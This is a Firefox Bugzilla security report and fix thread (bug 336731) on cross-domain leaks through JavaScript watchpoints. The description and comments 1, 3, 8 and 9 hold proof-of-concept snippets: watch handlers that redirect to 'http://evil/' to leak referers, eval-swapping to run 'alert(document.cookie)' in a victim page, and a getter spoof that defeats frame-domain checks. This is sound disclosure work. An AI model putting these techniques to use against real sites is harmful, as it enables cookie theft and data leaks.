336731 - inter-frame location changes can be intercepted with a watchpoint

Status: RESOLVED FIXED

(Core :: DOM: Core & HTML, defect, P2)

Description

[Filipe Almeida]

User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2
Build Identifier: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2

There is an issue in the firefox browser, that under the correct
circumstances, assignments to top.location may have undesirable and
insecure effects. This can be used to leak location information, and can potentially be used to exploit systems that pass sensitive or authentication information in the url.

Assume you have document A on one domain that contains an iframe B in
another domain. If document A places a watch point on this.location,
any change document B makes to top.location can be intercepted.

There are three side-effects to this:

1) Document A can snoop where iframe B intends to go:

this.watch('location', function (p,o,n) { alert(n); } );


2) Document A can snoop the current location of frame B.

this.watch('location', function (p,o,n) { return "http://evil/; } );

You will change the url the frame intended to go to an untrusted site,
and catch the original location in the referer header.


3) An attacker can spoof the referer header as if it originated from location B.

this.watch('location', function (p,o,n) { return new_destination; } );

Similar to (2).The referer header will be B.


Reproducible: Always

Comment 1

[Filipe Almeida]

Some additional issues. This are similar to 325297 which I reported a couple of months ago.

*** A document can intercept arbitrary var writes between domains by
using a watchpoint.

If a frame tries to set a variable across a domain boundaries like this:

top.value = 'sensitive string';

This write can be intercepted with a watchpoint as follows:

window.watch('value', function(p,o,n) { alert(n) })


*** The Window object can be used circumvent arbitrary boolean checks
between iframes.

For some strange reason, all Window objects are readable across
domains. This also adds the nice property that you are not able to
create a var pointing to a Window object that is not readable across
domains unless you hide it in something like an object or a closure.


*** Window arrays can be used to forge the value of array reads between domains.
A window object is also a collection (that contains all frames in the
page). This collection can be used to create an array that can be read
across domains:

Example:

var x = top.array[2]

This value can be changed across domains with the following code in
the parent frame:

top.array = window;
top.array[2] = 'injected data'


***  Returning from a watchpoint into the location will redirect the
current page and leak the referer of the setter:

Example. Assume one page does something like the following:
top.title = 'Page loaded';

This is particularly dangerous in single sign on or ajax systems that pass authentication information around and have more complex frame interaction.

window.watch('title', function(p,o,n) { location = 'http://evilsite/' } )
// Evil site steals the the url location of the iframe from the
referer.

Comment 2

[Blake Kaplan (:mrbkap) (inactive)]

Filipe, could you please attach a testcase showing what you mean?

Comment 3

[Filipe Almeida]

I have been quite busy with other stuff but I will create the testcases for the issues as soon as I can.

In a way very similar to #336731, it seems you can read and write methods of the document object across domain boundaries. You can also read and write attributes that are not part of the document prototype

Examples. Frame in a different domain as the top window. The frame can do things like:

# Change a function:
top.document.getElementById = function(x) {alert(x)}

# Write a new attribute to the document object
top.document.x = 'x'

# Read an attribute that is not on the prototype
alert(top.document.x)

I agree that the last two are probably rare conditions, but being able to intercept DOM calls or return fake results from DOM calls from another domain is a security issue. Depending on the application, it can be used to snoop sensitive information or cause an XSS.

This is very dependent on the web application. For example, you can imagine an application that allows the user to control the argument of a specific DOM function. The following construct is apparently safe:

x = document.createTextNode(top.location.hash.substring(1));
document.body.appendChild(x);

This can be subverted by replacing createTextNode with eval:

w = open("http://victim/#alert(document.cookie)");
// Pool for the creation of w.document.
w.document.createTextNode = eval;


I will make the testcases for this as soon as I can.
I can split this into multiple bugs if it makes more sense for you.

Comment 4

[Filipe Almeida]

Again.. I meant similar to #325297..

Comment 5

[Blake Kaplan (:mrbkap) (inactive)]

(In reply to comment #3)
> In a way very similar to #336731, it seems you can read and write methods of
> the document object across domain boundaries. You can also read and write
> attributes that are not part of the document prototype

This particular problem sounds very much like bug 339918. Can you check with a trunk or branch nightly build to see if you can still reproduce this problem?

I don't think I've seen a bug about the .watch problem, however. I'd be more interested in seeing a testcase for that, first.

Comment 6

[Filipe Almeida]

I will test in trunk and make the testcase for the watch scenario tomorrow.

Comment 7

[Daniel Veditz [:dveditz]]

The issue with document was bug 339918 (also bug 343594) which is now fixed in trunk nightlies and will be fixed in the upcoming ff2 beta and ff1.5.0.5

Let's keep this bug to the window and watch issue. To some extent frames can already protect themselves against being framed by a different site, with checks like
  try { parent.document.domain == document.domain; } // or top
  catch(e) { this.location = "/noframepolicy.html"; }

(granted, that won't always work on a complex site with content served from multiple hostnames.)

Comment 8

[Filipe Almeida]

Ok, so that may not be a safe check, and can be subverted by:

delete top.document; 
top.__defineGetter__('document', function() { return {domain: 'blah'}})

I tested this on trunk and the result of parent.document.domain is still "blah".
Is there away to make frames in diferent domains access the original object in a similar way to xpcnativewrappers?

What I am doing in my applications right now, and I am not 100% confident on this, is something like.

open('', '_top') == this

Seems to do the trick, but opens a popup window in some browsers, so you have to check which browser you are running in. Not pretty, but I am very concerned about the results returned by top or parent. 

(In reply to comment #7)
> The issue with document was bug 339918 (also bug 343594) which is now fixed in
> trunk nightlies and will be fixed in the upcoming ff2 beta and ff1.5.0.5
> 
> Let's keep this bug to the window and watch issue. To some extent frames can
> already protect themselves against being framed by a different site, with
> checks like
>   try { parent.document.domain == document.domain; } // or top
>   catch(e) { this.location = "/noframepolicy.html"; }
> 
> (granted, that won't always work on a complex site with content served from
> multiple hostnames.)
> 

Comment 9

[Filipe Almeida]

This is probably a bad example resulting from copy pasting from my test enviorment. The frame that is calling top is on the same domain and there is actually a second frame trying to access it. It's more clear like this:

# Top frame on domain blah, executes:

delete window.document; 
window.__defineGetter__('document', function() { return {domain: 'blah'}})

# Inner frame on another domain checks for:
parent.document.domain == document.domain && top.document.domain == document.domain

# The checks returns true

> delete top.document; 
> top.__defineGetter__('document', function() { return {domain: 'blah'}})

Comment 10

[Filipe Almeida]

So I have two test cases for the top.location changes:

http://filipe.almeida.googlepages.com/example-1.html

This page includes a frame in falmeida.googlepages.com that changes top.location.
That change is intercepted by a watch on location.href.


http://filipe.almeida.googlepages.com/example-2.html

Also includes the iframe that changes top.location, but this time it returns a diferent address from the watch function, forcing the page to go to another destination:
- This destination page can read the referrer and see where the frame was located.
- An attacker can include a frame that he knows changes top.location, and use this to make a request with a spoofed header. 

Comment 11

[Mike Schroepfer]

Brendan/Bkap any cycles for this?

Comment 12

[Blake Kaplan (:mrbkap) (inactive)]

I'll try to patch this tomorrow.

Comment 13

[Daniel Veditz [:dveditz]]

With Blake moving this weekend we're not getting a patch before the Monday cut-off, unfortunately. Hopefully will still make 1.8.1 and we'll pick this up in 1.8.0.8

Comment 14

[Blake Kaplan (:mrbkap) (inactive)]

Attachment: Something like this

So, jst and I talked about a patch to disallow setting watchpoints on {window,document}.location or location.*. Unfortunately, this turned out to be hard because XPConnect sticks properties like href on the location object's prototype, meaning that we won't call the checkAccess hook for those. Failing that, the nearest solution seemed to be to not call watchpoints if the watcher doesn't have access to the script that's causing the watchpoint to trigger.

Brendan, what do you think?

Comment 15

[Brendan Eich [:brendan]]

Comment on attachment 235992 [details] [diff] [review]
Something like this

>Index: jsobj.c
>===================================================================
>RCS file: /cvsroot/mozilla/js/src/jsobj.c,v
>retrieving revision 3.284
>diff -p -U8 -r3.284 jsobj.c
>--- jsobj.c	17 Aug 2006 08:13:18 -0000	3.284
>+++ jsobj.c	30 Aug 2006 01:23:17 -0000
>@@ -1369,23 +1369,44 @@ out:
> }
> 
> #if JS_HAS_OBJ_WATCHPOINT
> 
> static JSBool
> obj_watch_handler(JSContext *cx, JSObject *obj, jsval id, jsval old, jsval *nvp,
>                   void *closure)
> {
>+    JSRuntime *rt;
>+    JSStackFrame *caller;
>+    JSPrincipals *subjprins, *watcherprins;

"prins"?  What next, "prince"?  Me hums "1999" :-P

How about subject and watcher?

>     JSResolvingKey key;
>     JSResolvingEntry *entry;
>     uint32 generation;
>     JSObject *funobj;
>     jsval argv[3];
>     JSBool ok;
> 
>+    rt = cx->runtime;
>+    caller = JS_GetScriptedCaller(cx, cx->fp);
>+    if (caller && rt->findObjectPrincipals) {

Spare embeddings that don't set findObjectPrincipals by nesting ifs here, calling JS_GetScriptedCaller only if rt->findOP.

>+        /*
>+         * Only call the watch handler if the watcher is allowed to watch the
>+         * currently executing script.
>+         */
>+        watcherprins = rt->findObjectPrincipals(cx, (JSObject *)closure);
>+        subjprins = JS_StackFramePrincipals(cx, caller);
>+
>+        if (watcherprins &&
>+            subjprins &&
>+            !watcherprins->subsume(watcherprins, subjprins)) {
>+            /* Silently don't call the watch handler. */

This is kind of a hack, but I don't see a better way.  Did you consider using the rt->checkObjectAccess callback instead?

/be

Comment 16

[Blake Kaplan (:mrbkap) (inactive)]

(In reply to comment #15)
> This is kind of a hack, but I don't see a better way.  Did you consider using
> the rt->checkObjectAccess callback instead?

I thought about it, but I'm not convinced that we want to halt the script's execution and throw an exception. This might confuse whoever called |watch| in the first place, but I'm not sure how often this will come up. I was aiming more to not inconvenience the innocent victim code in these cases.

Comment 17

[Blake Kaplan (:mrbkap) (inactive)]

Attachment: Updated

Comment 18

[Brendan Eich [:brendan]]

Comment on attachment 237239 [details] [diff] [review]
Updated

Policy-based subsume checks hacking their way into the engine.  We'll revisit later.

/be

Comment 19

[Johnny Stenback (:jst)]

Comment on attachment 237239 [details] [diff] [review]
Updated

sr=jst

Comment 20

[Brendan Eich [:brendan]]

Comment on attachment 237239 [details] [diff] [review]
Updated


>+            /*
>+             * Only call the watch handler if the watcher is allowed to watch
>+             * the currently executing script.
>+             */

Late-breaking nit: "Call the watch handler only if ...."

/be

Comment 21

[Mike Schroepfer]

Past 1.8.1 codefreeze date and this doesn't look ready.  Pushing to 1.8.1.1..

Comment 22

[Johnny Stenback (:jst)]

Blake, any reason not to land this? I'm happy to land it for you if you want me to.

Comment 23

[Daniel Veditz [:dveditz]]

Restoring lost blocking flag

Comment 24

[Daniel Veditz [:dveditz]]

reassigning to jst to make sure this lands on the branches. And the trunk too.

Comment 25

[Johnny Stenback (:jst)]

Landed on trunk now (finally). Marking FIXED.

Comment 26

[Daniel Veditz [:dveditz]]

Comment on attachment 237239 [details] [diff] [review]
Updated

approved for 1.8/1.8.0 branches, a=dveditz for drivers

Comment 27

[Johnny Stenback (:jst)]

Fixed on branches (though I just realized it got checked in on the 1.8.0 branch with the wrong checkin comment, referring to bug 355161 rather than this bug).

Comment 28

[alice nodelman [:alice] [:anode]]

I'd like to verify this bug, can I get an explanation of the test in comment 10
 
- what would be considered a failing behavior
- what would be considered the fixed/correct behavior

thanks.

Comment 29

[Johnny Stenback (:jst)]

Alice, if you see an alert dialog saying "Frame is going to: ..." when you load the testcase (before it redirects you to the google page) then you're seeing this bug, if you see no such dialog and just get redirected to google then this bug is fixed.